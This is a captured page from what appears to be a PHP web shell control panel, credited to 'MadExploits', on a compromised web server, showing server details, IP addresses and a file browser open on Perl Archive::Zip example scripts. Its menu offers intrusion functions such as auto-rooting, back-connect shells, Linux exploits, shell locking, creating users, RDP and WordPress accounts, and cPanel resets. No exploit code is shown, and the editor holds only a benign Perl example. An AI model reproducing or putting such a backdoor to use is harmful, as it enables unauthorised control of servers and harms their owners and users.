Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-Archive-Zip /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
calcSizes.pl
948
B
-rw-r--r--
copy.pl
452
B
-rw-r--r--
extract.pl
896
B
-rw-r--r--
mailZip.pl
1.58
KB
-rw-r--r--
mfh.pl
640
B
-rw-r--r--
readScalar.pl
750
B
-rw-r--r--
selfex.pl
1.53
KB
-rw-r--r--
unzipAll.pl
561
B
-rw-r--r--
updateTree.pl
822
B
-rw-r--r--
updateZip.pl
892
B
-rw-r--r--
writeScalar.pl
614
B
-rw-r--r--
writeScalar2.pl
613
B
-rw-r--r--
zip.pl
666
B
-rw-r--r--
zipGrep.pl
1.42
KB
-rw-r--r--
zipcheck.pl
1010
B
-rw-r--r--
zipinfo.pl
4.36
KB
-rw-r--r--
ziprecent.pl
7.53
KB
-rw-r--r--
ziptest.pl
1.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : writeScalar.pl
#!/usr/bin/perl -w use strict; use Archive::Zip qw(:CONSTANTS :ERROR_CODES); use IO::Scalar; use IO::File; # test writing to a scalar my $zipContents = ''; my $SH = IO::Scalar->new(\$zipContents); my $zip = Archive::Zip->new(); my $member = $zip->addString('a' x 300, 'bunchOfAs.txt'); $member->desiredCompressionMethod(COMPRESSION_DEFLATED); $member = $zip->addString('b' x 300, 'bunchOfBs.txt'); $member->desiredCompressionMethod(COMPRESSION_DEFLATED); my $status = $zip->writeToFileHandle($SH); my $file = IO::File->new('test.zip', 'w'); binmode($file); $file->print($zipContents); $file->close();
Close